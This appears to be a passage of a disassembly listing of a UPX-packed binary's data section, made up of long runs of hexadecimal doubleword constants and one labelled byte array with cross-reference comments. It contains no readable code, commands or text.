		dd 0B8DD24A7h, 0EF405FFDh, 3ACEDBAFh, 0DEF67810h, 72A8B2BFh
		dd 0F014823Dh, 211A0939h, 0AA636027h, 0C4759979h, 0B8FB7913h
		dd 0B2065ACAh, 0DD768517h, 67E7AAC2h, 0EF79F66Ch, 0C844C033h
		dd 5A75587Fh, 0EFA2CEFFh, 4DD81796h, 8A141D61h,	0F74B37Bh
		dd 0D5820BC5h, 0B499785h, 259F9EB9h, 0A1ADC2D8h, 0A90BC39Ah
		dd 1E7CFDC3h, 0BD0B8636h, 0EE82CF27h, 0E3DD7096h, 0B2C18918h
		dd 4DB09636h, 38B5A4B7h, 662FD3D7h, 663C3613h, 7E6D9559h
		dd 3C8CCC1Bh, 0FDD6DBA5h, 0EE313A4Eh, 0E8511D56h, 5D8C4B2Dh
		dd 0BEFBC8CDh, 0E0A62E24h, 2B249420h, 4F3133F3h, 0C4A866BEh
		dd 4C35298Ah, 6B0DBE9Ch, 3F926915h, 6366C6ABh, 19C7BFB4h
		dd 2CECBA3Eh, 286F9776h, 366FC835h, 0E61953F3h,	5DFD5CE8h
		dd 0B3B2E778h, 883E48D8h, 0E62E05DDh, 7B566870h, 0CB0DE10Ch
		dd 0F87B62CEh, 3210C146h, 0A767DA5h, 0E6B592FCh, 7248C20Eh
		dd 3173FE8Fh, 73384BB6h, 56C59D9h, 45335E2Bh, 9CCE26F5h
		dd 8013198Ah, 0D0350DA7h
		dd 4A71C4D2h, 8CB2F95Bh, 9A36E8C7h, 4AB8EC12h, 5E72BE13h
		dd 2455A88Eh, 9B52A1BAh, 64412D9Ah, 0D797ADF9h,	6850000Eh
		dd 26918EB7h, 826809B4h, 13E73603h, 86E86498h
		db 7Ah
byte_520045	db 59h,	5Fh, 0D8h	; DATA XREF: UPX0:0042BC88o
					; UPX0:0042BCA0o
		dd 7005AF15h, 85261721h, 17C4C7FDh, 30C00EDh, 0B5C8167Bh
		dd 0DDEAC3Ah, 5AA50CDBh, 405C7C2Eh, 9DDEEDAEh, 0D26CF6C1h
		dd 99C355C4h, 0A6FB85EEh, 18763152h, 0F1B9FAA3h, 3730ADF7h
		dd 4D806FA0h, 0F4ACDD06h, 9F776358h, 0C3C39000h, 0B1FDC8DEh
		dd 439BAE63h, 0E667CD45h, 24FE2933h, 0C4D43DD6h, 81350142h
		dd 0D731EDADh, 3AE1E28Ah, 952372B9h, 6CD8460Fh,	1FF17223h
		dd 0A943CC16h, 33770BF8h, 0C7917C2Dh, 7EE1A50h,	2BB0B140h
		dd 61CBF102h, 0C095C0FCh, 0FB71420Dh, 9E5C5769h, 2AB8A772h
		dd 0A928E8Bh, 360C5CB3h, 0CE193D14h, 0F91E617Ch, 93D475DEh
		dd 489B5658h, 0D86652CAh, 6B7C9C8Dh, 0E201E497h, 95BA91B3h
		dd 6BE4E76h, 8E886EC9h,	67E26FDDh, 636AAA8h, 0A0DDB0FCh
		dd 4B43062Bh, 0BB09C066h, 13FD06C9h, 0FA3266A3h, 0EDA14DEBh
		dd 0C4CA00A0h, 598CDDC4h, 0D9874123h, 0F7E0D03h, 1710956Bh
		dd 6F22A57h, 6959DF4Bh,	8B5ED381h, 6DC0E8E6h, 0E61D1B0h
		dd 85D7B11Fh, 495AA433h, 6AB7684h, 6D688808h, 0F25D8BE2h
		dd 0CC7D6DA5h, 0CA41BB41h, 95110849h, 33764B89h, 4D8A0853h
		dd 4458F76Ah, 0E53CDDFFh, 0EE4D7352h, 708B0388h, 507D796Ah
		dd 8DF5DDF0h, 0CCB96AEEh, 0D8BBC229h, 30AF0BA9h, 627CDAA4h
		dd 74942551h, 34274374h, 0D3F32A3Ch, 0E177D7BDh, 9B4FA97Eh
		dd 24B2512Eh, 9BDC2DA2h, 0FFC55808h, 0CD96972Ch, 0E9B7B8F2h
		dd 5F6C592Dh, 8F544AE0h, 4BB03D3Eh, 0A9B8FD3Eh,	0E0BD1F2Bh
		dd 0E02CEE92h, 44BCE148h, 0EE6D0167h, 0B2DAA8D5h, 96B8799Ch
		dd 180BC077h, 0F4444F9h, 60EBEA45h, 5781AD4Fh, 187F2241h
		dd 9F1AE026h, 4D2BB20Ah, 5069DEECh, 46B4ED6Eh, 1A4EC771h
		dd 0C2741B47h, 583E1121h, 0C71ECA26h, 4226D2C0h, 0E79BE242h
		dd 0D8774622h, 198D2CB3h, 0B1C7F79Ah, 778354h, 5F2524D1h
		dd 0DCB48CD1h, 0ABB1DD84h, 6CAE0536h, 0F5FF6A4h, 0A65D785Eh
		dd 1899421Ah, 0E5980596h, 8EA52F8Eh, 0FCA59CB7h, 0E568ED13h
		dd 3CC51EC6h, 3E47DD99h, 0C666944Ah, 1500BE47h,	44C1FCC0h
		dd 0E0AA1F63h, 0FC151E86h, 0E90547A0h, 5426862h, 0FC20AA4Eh
		dd 8EFC4D0h, 387F789Fh,	4E3402B1h, 644E4ACFh, 9BE464F4h
		dd 8095E232h, 0F6E70F83h, 147BFFE4h, 254F112Bh,	0B2C3CB14h
		dd 65E5ACCDh, 2073F623h, 9106714Dh, 0E2E2A530h,	690F0C1Dh
		dd 464BE322h, 5E476129h, 626F9A45h, 0B4C0D10Fh,	81A29E8Ch
		dd 580684BCh, 0B8FED026h, 1FC65D14h, 0B56B2C58h, 0F2F19458h
		dd 9990ADEAh, 0EC065F2h, 0F27D1656h, 3E6C137Ah,	0E20E6B5Ah
		dd 9D847B60h, 0B4477E8Dh, 0EDD3ED73h, 8D46F0E7h, 72C651B9h
		dd 0D8E79DDFh, 150E31F3h, 1E50BB9Fh, 0D8E720BAh, 0F723C0D6h
		dd 0AE2516E9h, 0C472AF91h, 7D80438Bh, 9F3D6665h, 9EA69628h
		dd 0EA28CE8Ah, 29BE1A3Ch, 0BBE6C2AFh, 982EEBB1h, 2AE7A23Bh
		dd 4C4478FCh, 28E52210h, 6CB472A9h, 2A55C3B8h, 547C6BC4h
		dd 0BAEC26B2h, 64AC1A1Ah, 768E823Dh, 0EC35E7B1h, 0F78C4882h
		dd 0B118E280h, 20A7ED1Eh, 0E490C547h, 94793B28h, 56C8B8CCh
		dd 93D7F12Bh, 78389CF5h, 0A9C21CB1h, 6C24B18h, 9813DBCEh
		dd 952B4E11h, 0BDC5F2E6h, 11D9D3BFh, 46F948B3h,	0B1F18619h
		dd 5C084C65h, 0CA06BF46h, 375CCBC8h, 653068EAh,	0DE133027h
		dd 38F35574h, 10FE0715h, 815A02A8h, 0DE9D1579h,	6D8BCBE9h
		dd 8B088AEBh, 9E535EE1h, 0C13ECB7Bh, 7FAB937Dh,	60FB8963h
		dd 17DD5B36h, 0FA6306E3h, 0C57CB925h, 0F8634960h, 0D7F08F8Fh
		dd 0AAFA003Dh, 0F8D86454h, 2A0D843Ch, 1D101B07h, 0F1615790h
		dd 87F459Ah, 5ABA1CBEh,	1D825EE1h, 437FB545h, 311FCFE8h
		dd 81712EFAh, 104DD7E1h, 0F4513EF9h, 0FB231C3Bh, 0F7DF85C6h
		dd 455C0CD3h, 1CE28B87h, 45857FEFh, 98BAF66h, 3BC1E2FCh
		dd 0FE7E05D0h, 0FC3C590Eh, 0B37575CCh, 0E723FAF7h, 236467BDh
		dd 3AF4F12Eh, 54033CC6h, 0E8D465A3h, 8D9BBDECh,	0AA8561B3h
		dd 0D7795654h, 0F7519D4Bh, 0EC6E2C24h, 0E446BADCh, 3808570Ch
		dd 18917716h, 0CB89C7A6h, 0B0253106h, 60F0DB0Fh, 114DC30Dh
		dd 2DCCE4CCh, 9AA4BB94h, 10243E9Fh, 824A9FC4h, 0CFD217F8h
		dd 0F4F5CD53h, 6492AAF7h, 4C654ED0h, 6267E60Fh,	0B735AC01h
		dd 7A376850h, 7E2BBDA5h, 0B7E8C95Fh, 11A71726h,	9F31D85h
		dd 134A36ADh, 2C5DF211h, 4251451h, 0DD58D52Bh, 6B75CBF6h
		dd 2EBBDA52h, 6205BE51h, 4218695Ch, 0F327888Bh,	0E0BBC8A4h
		dd 0E5286F9Ch, 0CAD5C5C7h, 6250FC31h, 9990533Bh, 0AE68C35Ah
		dd 0EC1B1BF0h, 788670C9h, 53A21785h, 0DC32EF68h, 8BB37914h
		dd 77A72164h, 538EEC94h, 6EC72351h, 1AB8D98Fh, 29C525DAh
		dd 0A686DBDEh, 1132A663h, 70F8C449h, 0E530D9F1h, 2EA2E29Bh
		dd 0FB44277Eh, 0C7C7A26Ah, 0EC5DACC6h, 348781BCh, 34FEDC42h
		dd 2660C203h, 0D22417AAh, 1D7D4492h, 7D4EEE48h,	0EA664B6Dh
		dd 6181ACBh, 72A1C2D5h,	0D8507268h, 0BA0CABB0h,	4BF94CE0h
		dd 362950C6h, 2D8515DAh, 555B6203h, 48FE6CADh, 0DDB9E4B6h
		dd 7CA4C7Dh, 0ED9CD413h, 8B7F4BAFh, 91495606h, 56C4DAD1h
		dd 0E88EE0A6h, 480265E3h, 1E88F7FAh, 5348DF09h,	941DB314h
		dd 0F1489498h, 32D31729h, 7A9453ABh, 0CDDDF418h, 5B086C89h
		dd 0F1746382h, 358940E0h, 618A8B13h, 7299FC6Ch,	9AD68C79h
		dd 0B092498Dh, 0C3801AA8h, 4977E5B5h, 0C5D563D2h, 622B1BF1h
		dd 0A93C683Bh, 63FCB12Eh, 7DF873EAh, 3581FC9h, 5992A8F7h
		dd 0CCB4D674h, 0C769C0A3h, 5C2F6AB0h, 9227366Bh, 147672D7h
		dd 2C309E51h, 7798AE9Eh, 2E8F7113h, 88D1A321h, 893AF3B5h
		dd 3E8DA03Bh, 0C5732F3Eh, 779B64F4h, 145012ACh,	3CCD445Bh
		dd 0D87DD2DEh, 72EC3922h, 0E675FC5Ah, 0FF7F3D58h, 4ED1CC6Dh
		dd 6C5C100Ch, 5B314A38h, 8B621960h, 638DDE34h, 956FE447h
		dd 0E1CF444h, 5EBCCC26h, 0FADDE36Bh, 0BE1F9471h, 95323774h
		dd 742A9309h, 0A5975945h, 128EBE92h, 4FDD3BD8h,	0C9F4FC50h
		dd 60D20712h, 380CDE2Eh, 2B95132Fh, 0D1B3D13h, 0A9A62F13h
		dd 0F759301Dh, 9559147Dh, 1112E398h, 0EBA473D2h, 0C9770E39h
		dd 0D6EE2991h, 73D70C73h, 0C392E96Ch, 0D3496E26h, 5E4E7709h
		dd 807925D5h, 964F52B8h, 771695EEh, 0F452BE49h,	0D3BBC997h
		dd 64B0D712h, 9932E95h,	0E3445856h, 19542CFDh, 0E7E42921h
		dd 7A9F90DCh, 33C512D3h, 961C1A7Dh, 97544914h, 410533E9h
		dd 0D9002C48h, 0A545ABC7h, 0BE3742B4h, 0F04CE98Ch, 0BBCA52A3h
		dd 6206A984h, 0CBFE446Dh, 0BB12447Ch, 3EA5030Eh, 197CA89Bh
		dd 2628B92h, 5E5207F2h,	0ED64365h, 3E46788h, 0BBA7128Dh
		dd 0BB04F6EDh, 1A25924Bh, 6322DBC1h, 7B5EC56Eh,	9D00629Dh
		dd 2B9EF74Eh, 0EDAE7D81h, 2F9F18CFh, 0BEB8C567h, 919DD67Ch
		dd 0E17AE6AFh, 0EF35AD00h, 0BBC018C6h, 0CF80307Bh, 0FA0A141Bh
		dd 0CFF4B15h, 0E92411BAh, 53912AECh, 56F4644Eh,	0DB825DFDh
		dd 0F58672C5h, 78A7E4E8h, 0C63C9837h, 69FB34F0h, 607E2D8Fh
		dd 0E0E54559h, 0D5D887EEh, 0F8E0FA62h, 7E9CD005h, 8E08A83Ch
		dd 0CB0F3EB1h, 941A46Bh, 0AFA7A23Ch, 1E223CEh, 42388B8Eh
		dd 0C932E9FBh, 71322614h, 0B8985D19h, 0C5636378h, 0E11483E7h
		dd 55FD1E25h, 95785F22h, 0B0A55B78h, 0D662937h,	95D37ED3h
		dd 0A0EBFCB1h, 77E58C2Eh, 58CAEEBFh, 85D41F2Eh,	6BFC3CB1h
		dd 0E7B31F09h, 0CCECFCC6h
		dd 9C5CCBE8h, 780E9514h, 45041D89h, 562AC15Ch, 4303FEFh
		dd 0E916D477h, 0B13603Fh, 24C70F46h, 1E7616D2h,	597A6526h
		dd 0E66C3158h, 43D829D8h, 0DDB9F17Fh, 0EBFD2792h, 1D81F466h
		dd 0DDC459B5h, 21E55843h, 742AB6C2h, 0DB49414Dh, 239A7371h
		dd 0B3AFE652h, 14E77910h, 0EFA490A1h, 0CF8AE25Ch, 2E999ED9h
		dd 5B8A8E6Ch, 73612B36h, 0A750B7D4h, 82536F1h, 0DC5C5985h
		dd 2D751717h, 8AE926F7h, 923B7C8Dh, 0DC71FE40h,	359C78C6h
		dd 0DD986780h, 0A35C1F2Eh, 6C3EA611h, 6519D55Ah, 8AAB52F6h
		dd 58AC35E0h, 4E3A583Bh, 23F364F0h, 8BCEF11Eh, 0DF94E0B8h
		dd 46E45E7Bh, 706F7521h, 3E1B2908h, 58CD9220h, 4741B19Ch
		dd 7034BCA3h, 42B02149h, 3C4BDE1Fh, 565BC483h, 0A46D5025h
		dd 3EF71425h, 6D3915D4h, 8A35484Ah, 0C98A1EDBh,	1CFD177Ah
		dd 50176548h, 0D89D2F8Ah, 4602D71Eh, 0FA96172Bh, 49AF19DEh
		dd 1E937D4Ah, 45BEA5D2h, 31B94ACFh, 0C0596355h,	8ABD8F97h
		dd 6A12B37Eh, 0DD6FD160h, 6FD13183h, 6FD15759h,	5D32BF43h
		dd 37E37BF4h, 0BC71E37Ch, 9DD83C3Ch, 0EF3488FCh, 39D98EDEh
		dd 826AAC11h, 936915B1h, 5B5E2CD3h, 11C0E528h, 92994A4Fh
		dd 0E42E703h, 9595BC4Ch, 0B2CCA8CFh, 39642E18h,	59D45C70h
		dd 0CB1AB0EFh, 75F7F7C4h, 0EA6F0391h, 0CCDE072Ah, 504DE072h
		dd 81CB8D22h, 0C0E4C537h, 3957A9Bh, 8E07215Bh, 0DE2653B7h
		dd 14D80FBCh, 720FE5Eh,	592677F6h, 0F703A57h, 2FAFE2Eh
		dd 290EC53Ch, 9496704Fh, 7EEDB09Ch, 8FCB02FBh, 0F18FAEF9h
		dd 9610825Ch, 37C7CE62h, 0AF66C485h, 20DD8F2Ch,	0D56BD411h
		dd 0D819214Bh, 0F71B584Bh, 96BF6AA7h, 39A356B1h, 0E797ED36h
		dd 64E39855h, 559079E4h, 0C3530E84h, 58931E49h,	2E824030h
		dd 96C5E73Ch, 1E28B074h, 0D42185D0h, 3589958Bh,	0B25A15FDh
		dd 0D90026CCh, 0E5ADDD0Ah, 26DF62CDh, 0DF2D1096h, 7D18592Bh
		dd 826EAF70h, 0EEEC8102h, 7AAD72E9h, 0AF5B3A05h, 75533677h
		dd 9D2E83F6h, 0C38638BDh, 117AD0DCh, 0C1DC2D7Bh, 7183A80Fh
		dd 6C5836ECh, 8BD968E2h, 7E2F546Bh, 0E3C8BDC8h,	0A139745Eh
		dd 16BF6Eh, 0C80984F7h,	0A948F3DCh, 2F5255F8h, 973E49A2h
		dd 4CF255BCh, 30977632h, 79204057h, 0F6235AB3h,	69A31305h
		dd 90459E7Ah, 394AE5B5h, 0B26C1996h, 84C473A4h,	0CBB66E64h
		dd 59263209h, 0C97E413Fh, 0FCE9869Eh, 2CD30F88h, 417FECDEh
		dd 0A84A6339h, 0FBF071EBh, 838E5DFEh, 3D74562Fh, 7FB7FE0Eh
		dd 61A0E397h, 33917FC5h, 66C87176h, 118D3254h, 0E65E34B0h
		dd 3486E7EDh, 0B27C65A7h, 2F24117Ch, 0E7A8C545h, 9E6D0775h
		dd 2D613624h, 9C87BF3Ah, 0B5F35DABh, 0F49F81E1h, 4BF1D6DDh
		dd 0E21407D6h, 85073BEh, 0A3D150C9h, 0EB5D27CAh, 273FEF14h
		dd 0AC9348Dh, 0F151B4E7h, 0B3E04C08h, 18D0B78Ah, 40D01C9Dh
		dd 0AB2C6701h, 3A525B6Ah, 9D7B07Eh, 0AEA4CDF9h,	0FA278CE2h
		dd 0F4671775h, 2FDBFF11h, 9207AC7Eh, 0E002AD24h, 4A58B719h
		dd 0A66F7E35h, 1861E111h, 25A4D3A1h, 6AAAD450h,	624313C7h
		dd 9B194BDEh, 84644DE2h, 2A613FF8h, 763F5293h, 947372DFh
		dd 13FF74DDh, 921AAC6Fh, 0D622ABF3h, 5267DE27h,	949EC5DAh
		dd 68AB8886h, 0F1E15010h, 0C2DC60Eh, 317121CEh,	82ECE8A2h
		dd 812805FFh, 955A0D51h, 0EB00E965h, 2BA1C7B6h,	0AAE14456h
		dd 1083B5EBh, 91FE7043h, 95A33B33h, 53B8E3DAh, 46C25576h
		dd 440F9DEFh, 0EF995A3h, 2B62F94Bh, 850676F5h, 9C832BCAh
		dd 63F05C4Eh, 8677A62Eh, 0F8A7BE8Bh, 0A84AE6C3h, 3BBBD5EAh
		dd 431579A3h, 6AD35ACh,	0CFE6CAE5h, 0DE789E0Ch,	8F078AD8h
		dd 46769457h, 0DF62655Dh, 166BD500h, 29E75D8Fh,	27677B74h
		dd 7F71CC27h, 3E37D391h, 9E46B99Fh, 0CF98F9CFh,	7CF096D7h
		dd 87EBC4BAh, 45D142A5h, 0B7A98CECh, 17C44A4Ah,	6D2578E6h
		dd 2584AE06h, 89593E77h, 5643B21Bh, 0D815976Ah,	57D055BAh
		dd 0E0A8486Ch, 34C15945h, 0AABC62F4h, 552A7260h, 0A170C2B0h
		dd 82C4581Eh, 0AE7E0A84h, 4E0A807Ah, 782B203Dh,	71879E12h
		dd 980BD34Fh, 777318Dh,	2D227EB3h, 644BBEA1h, 6FA8597Dh
		dd 1F5922FFh, 0ED62A964h, 23B5AC87h, 0A70709EDh, 0A4D749C1h
		dd 4549F619h, 0F7E349F6h, 0E3FEBE88h, 7CBBDC6h,	5B4D7E18h
		dd 0D627020Dh, 9F65B14h, 0D61BDEC2h, 0E6057E1Ah, 0C948E41Eh
		dd 76B7C68h, 6791E29Dh,	0A62FA178h, 3FE5FA63h, 0E0CC0742h
		dd 5C05725Eh, 0FD015D12h, 2C504DD3h, 0AE962839h, 0E9234CE6h
		dd 99F971F3h, 0E3071926h, 12E0A05Fh, 24EB3A1Dh,	0ACE96D1Dh
		dd 0DD2A593Ah, 0AA68B0D4h, 0D975FA54h, 2795D46Ch, 9E577AB3h
		dd 25E6B7F4h, 5BAE4E68h, 0C1476C41h, 869F6F5Eh,	0E15C2CC2h
		dd 1D0267E7h, 8F5E6B5Ah, 5754085Dh, 99834674h, 72D22F6Dh
		dd 9C295C48h, 0CAE609FDh, 36D0B4F9h, 0D05868C3h, 94E0AC77h
		dd 0ED7964B7h, 2CA950B3h, 6DF1BE6Eh, 0EFA094EFh, 8DDAF2D0h
		dd 0D4AA6E1Ch, 6C89FF6Ah, 0B52A07C5h, 8BE07FEAh, 0B25C2E28h
		dd 45389535h, 4D953FE5h, 5A7F6F60h, 5F9F3119h, 0ED64585Ah
		dd 0F1DF416Dh, 1284EFA0h, 0B3F270Ch, 59F1B0C1h,	4A6497DCh
		dd 2BA6D8A1h, 0DBA874A0h, 0F4F392CAh, 0E6906D1h, 0A0569BADh
		dd 1771949Ch, 0EB6D28D2h, 36946BA7h, 60F4A038h,	7CD5D690h
		dd 6DAA6D66h, 0B46EAE3Dh, 0C0C159A9h, 0D70F2201h, 9B585D43h
		dd 1A060E6Ah, 0AFBC211h, 0F755D05Dh, 8630765Bh,	0C17EDE0Ch
		dd 78D3BEC0h, 13EE13E7h, 0AC81D40Ch, 361B8A74h,	486910E2h
		dd 6C9E99A9h, 2B439C6Bh, 7027CFFFh, 580F779Dh, 0C3F8A337h
		dd 0EA58CED9h, 2368398Eh, 27BC335Dh, 1D6ACC08h,	0F5EE378Dh
		dd 629F545Eh, 0B6A7E685h, 75B83B38h, 0CC18D507h, 6A4EF785h
		dd 9D95A5F7h, 0F36E5951h, 5FE88E1Ch, 51A4A2C6h,	0D9B9296Eh
		dd 0B79CF528h, 4DEAD197h, 6089467Ch, 0E0036687h, 0D31D15DEh
		dd 0C452CA19h, 33611F3Fh, 85A15A27h, 0F0A75F28h, 14FB7119h
		dd 0DC481DF4h, 0A09B1F4Ah, 2EE625B6h, 0D6E54AECh, 736AB09Bh
		dd 5E4EE240h, 7EFD95D8h, 3088251Eh, 7F12E9CEh, 170DF8BBh
		dd 0DA24EF99h, 6925D6C6h, 45C25896h, 0BEE44552h, 3172F8C4h
		dd 47D22F5Fh, 6B1F7C7Ch, 0D2B6E6B9h, 781A48CAh,	0D6904CE6h
		dd 19CA958h, 0E77B8588h, 0C61AAF63h, 38D32510h,	2FB2F4E2h
		dd 0CCB4D90Ch, 27CC50F5h, 0F5939570h, 0F0564D0Ch, 5178B5E9h
		dd 583DB158h, 7A7C14D1h, 3EB95B0Dh, 0C25E514h, 9263B606h
		dd 4FB03503h, 4585A815h, 921325A8h, 109DC123h, 889E8610h
		dd 684F9DE0h, 4F431205h, 96A81672h, 28797AB0h, 1B3CF2B4h
		dd 72A56397h, 72B27BEAh, 0A1D5A5Bh, 0A7A94520h,	214B0305h
		dd 76108DEEh, 0D5FA8CFFh, 16759810h, 75434BB2h,	67F9E9F0h
		dd 56E321F9h, 89D65DFCh, 64445C55h, 6968A946h, 39ED0402h
		dd 0C00C1E9Eh, 69F06BBEh, 0B3F3F958h, 55733FADh, 0AAC2D416h
		dd 0EB937DBDh, 0EE65B772h, 0DE938531h, 45B32E3Bh, 3E10C803h
		dd 8A72C9E2h, 0C10D70BFh, 294BAD9Ah, 4D786A6Ah,	0D231E6E8h
		dd 0C8A86C26h, 0A43B6414h, 80A620FCh, 0BA2E900Dh, 0B2F9B97Ch
		dd 43CCDA83h, 0BFB61D97h, 7CF67F45h, 8456D669h,	56FED250h
		dd 0B290F8B0h, 0DF7E1B26h, 0A46AA263h, 0B25FD89h, 57160AA2h
		dd 9E6F1603h, 602C0C11h, 0FE33DE1Bh, 3067B4CCh,	19A7ED0h
		dd 0D1F8ED8Bh, 62B746C2h
		dd 566FA416h, 33576022h, 99456EACh, 76093D52h, 1C86B446h
		dd 0D150835Eh, 96860ACh, 6AE4FBFAh, 2F2AC0ACh, 0B1E0A77Dh
		dd 90B03058h, 0E0FAB53Eh, 19834BACh, 10842D46h,	9233047Dh
		dd 9839A1FCh, 5AAD3905h, 0DD65AB00h, 7E6A5B76h,	5345E108h
		dd 72D5DFB5h, 0AABE304Dh, 0DE0A5915h, 130A3EB3h, 9CD39AEBh
		dd 0C73E5EFCh, 0A8B0FD5Ah, 4DED0123h, 0B6F7F497h, 0CE9C5F8Dh
		dd 73874367h, 5865EB8h,	0D9D63DAEh, 0F559AE5Ah,	0BFAC4577h
		dd 82EB8CC1h, 8A86D719h, 5FC9329Ch, 0C645B847h,	6D78A38Fh
		dd 0E060F8EAh, 3539541Eh, 0DC52994Fh, 0C05B813Ah, 4BD724ACh
		dd 6CF9B6BBh, 42D17735h, 2EC46D8Dh, 13ECBBEFh, 0D22D1BACh
		dd 0D1F14FB2h, 0B9457ADBh, 394DF848h, 9A7CFA05h, 12D84EF5h
		dd 1632D13Bh, 7C79446Fh, 7231BAFEh, 0D0F52D58h,	0C36B9772h
		dd 8E5B9D8Bh, 82D1B5BEh, 5AF70A96h, 0F85E6102h,	0B8F07315h
		dd 5E0D89B2h, 0BC880360h, 5AF468E2h, 5A9921C7h,	0F9ABA9CDh
		dd 81763591h, 0F8FD98B8h, 7832C564h, 61A25B79h,	539BB6EBh
		dd 2AF855B5h, 0E1FAB268h, 303EBA27h, 3946429Eh,	56C8AD00h
		dd 0B52FB6F0h, 15C469F6h, 7822C2ACh, 0B30A67ADh, 2C860CB3h
		dd 7F8F3A3Dh, 9DB835ADh, 61C68608h, 0BCE6F16h, 0A2D1CD79h
		dd 11974D33h, 54A62210h, 0E13FF6Ch, 0EF2B4095h,	0B2970977h
		dd 0B4C2E889h, 2093E0DEh, 0E1137913h, 0BB7663D3h, 104E3231h
		dd 0B189FEF7h, 6324312Ch, 0E2BCD424h, 73470984h, 649A24F2h
		dd 0B6ED1C60h, 76F160BCh, 0E5B87458h, 11977BCCh, 60C26AAEh
		dd 0C279F28Bh, 5BF9B97Dh, 0AE8BFEB1h, 0CFF978D2h, 3C33E534h
		dd 83B532F8h, 34E57F1Ah, 10B4B896h, 2C6E4A9Ah, 35B22911h
		dd 0AC600D4Dh, 0F4319282h, 45033B77h, 21F99F08h, 0D1CA2C24h
		dd 0BEF2EFF8h, 63623597h, 280EF537h, 0A06E12C8h, 78366271h
		dd 3296FADh, 7860CE04h,	88FC1017h, 0C6947FC5h, 0F090252Ch
		dd 29698D7Ch, 0FFF7D4EAh, 390E9E1Ch, 0C940EC43h, 0C5CE4C77h
		dd 9E0BCEBDh, 3A7A7F4Eh, 0F59274F1h, 0A4478138h, 4B49861Dh
		dd 20BC93EDh, 82871CC0h, 0D9A7CD81h, 603AEBFEh,	0AC122D7Bh
		dd 6CF301DAh, 6D4B2149h, 56844430h, 7E2760B4h, 150B0D17h
		dd 367713EFh, 0DB5E8F9Dh, 0A260DFC7h, 0FC3F9C5Ch, 0E254AB89h
		dd 383EE7ABh, 89042B8Fh, 9B5E35FBh, 0C0B9A3A0h,	5068B4D1h
		dd 0B92FBA5Eh, 21B27C30h, 47502480h, 0D8971D38h, 4C755582h
		dd 724911EBh, 331056FCh, 0CDEBE9C7h, 5E75F25Fh,	1EB74C01h
		dd 0CFF6132Fh, 0B45934C0h, 0A41D2508h, 6F11054Ch, 55A7C696h
		dd 60A3B7D0h, 6ECF72Bh,	5DF1ACF4h, 0BFAA59EAh, 22FE14DEh
		dd 33D0BB9Fh, 0D6F9159Fh, 59C9F3C6h, 0A2B34299h, 4564BDDEh
		dd 465EEF62h, 0D1776245h, 0B2060D88h, 84C92ACEh, 0BBA708Ch
		dd 0D7432AB1h, 0C733BEB2h, 8EE81F08h, 9B1B2060h, 6B5AF68h
		dd 60DBB52Ch, 970BD1C3h, 0D10F4366h, 0C8AF5E3Eh, 0C0FA19C4h
		dd 0C4B2B76Dh, 0BCF6D100h, 8F4CEE0h, 3829A376h,	9E3A76A0h
		dd 83E59ABCh, 8580E0F1h, 98501BB0h, 6C915B66h, 850DBCE3h
		dd 895FABE9h, 7C3C677Dh, 0EE16D1ADh, 597171AFh,	5E665AB3h
		dd 291949E3h, 6EE2B51h,	29ABEB2Dh, 0A9E39EFFh, 0C35D614Eh
		dd 2804F51Bh, 948A1AAFh, 970B6C6Fh, 43E41BDAh, 32060EFh
		dd 8D3A7EC3h, 52C9D77Eh, 4200FCA6h, 6EA5AE8Bh, 4BF31797h
		dd 893210C8h, 0A3E783E2h, 543AC8F6h, 259085A3h,	0CA36A138h
		dd 0B8FBC379h, 0C7A27237h, 0B9A501CFh, 909C3F6Ah, 70EDDCBBh
		dd 2B078B79h, 0E0A357E2h, 0D500F097h, 0CE8ADDFAh, 0AA2F7AE8h
		dd 60BD3BE1h, 103BE6A8h, 0C4CAF37Eh, 0B77C118Eh, 0FD58B577h
		dd 1BB59B08h, 3732080Dh, 9582FB18h, 16256137h, 0FEAFC49Ah
		dd 0F8884FC0h, 1B0B4B29h, 3F6EBB9Ch, 0D66182C8h, 3D37A040h
		dd 0C8667292h, 0E999D913h, 89C7A1C2h, 8926E212h, 33076999h
		dd 0CCC951D3h, 1638948Ch, 0F9AD6DBCh, 0E2B8971Eh, 5F884783h
		dd 0B83E5A67h, 0D13618F5h, 0ABF4E3D6h, 7FA7ECA8h, 0FFB2A0Fh
		dd 0D9518FBFh, 751A6F2Dh, 94C02EC4h, 0DE031E51h, 34158369h
		dd 9D2EEB2h, 528C7A99h,	36D83FBBh, 0BC196525h, 0C65CEB57h
		dd 93C06D68h, 45DA04F9h, 6D18E66h, 4590E4ACh, 47AF6A85h
		dd 137B4D48h, 755F96D5h, 997D7BC2h, 26669812h, 0F710FAF4h
		dd 0EBDE39BAh, 5E853F7Fh, 0AC54FE7Fh, 0EAAC1D7h, 0AA3ECF59h
		dd 0B46EFFC7h, 2CB94CACh, 70B372D7h, 0A9961CF4h, 264AD1DBh
		dd 150EF79Ah, 5AB01BAFh, 19594B3Eh, 3D0E0877h, 0B34DB655h
		dd 0D1D41371h, 0F1446522h, 5B4747A7h, 1463C536h, 4C85162Ch
		dd 629A1D5h, 81603063h,	0F9D5A0EFh, 4CDA7E26h, 6ED7CFC3h
		dd 4911ED36h, 0D3210DDAh, 9980C163h, 16DA0B52h,	0C8428665h
		dd 7DBF7627h, 4E9A3A3Eh, 0F2EF032Ah, 0BE48AD82h, 11ED33FFh
		dd 486E883Ch, 66D567E0h, 0A4619DB6h, 59E2ABC9h,	67A6912Dh
		dd 0ACEFB886h, 9CB7070Eh, 9583864h, 2EFAB838h, 0DFF60386h
		dd 0E8C27552h, 8B9681FBh, 8DDCD16Eh, 0C16B9BCCh, 2F847A4Dh
		dd 0F19B160Eh, 427AF69Eh, 0B60CF0BEh, 58FE16D8h, 95E89C73h
		dd 9DEA2A8Fh, 0D9292A8Fh, 47910F7Eh, 3AD5D1E2h,	640EB537h
		dd 582C5F80h, 0BB4B91DFh, 32B7CA75h, 2DD6C060h,	2130154h
		dd 0C06527ADh, 150808Ch, 76A6020Bh, 9021B019h, 21A4CAA5h
		dd 0A4A544B0h, 5463023h, 57481032h, 0B0216415h,	46C99556h
		dd 0CEEA84E0h, 0AA360418h, 0E408B194h, 6E4294A9h, 20A60554h
		dd 22815660h, 0A605476Eh, 1516021h, 15360227h, 579B8198h
		dd 0EF627CF7h, 6B818AD2h, 5719F89Bh, 0BBA0A5C6h, 0E242CFD7h
		dd 0D189EE9Ch, 7389C51h, 9384C750h, 81167CF8h, 0B695F5B2h
		dd 884A2E68h, 975832C3h, 0DD590C4Ch, 0BF5527BAh, 73AF5FE7h
		dd 0EC1F833Fh, 883AB694h, 96617B8Fh, 0CC675FBEh, 60131347h
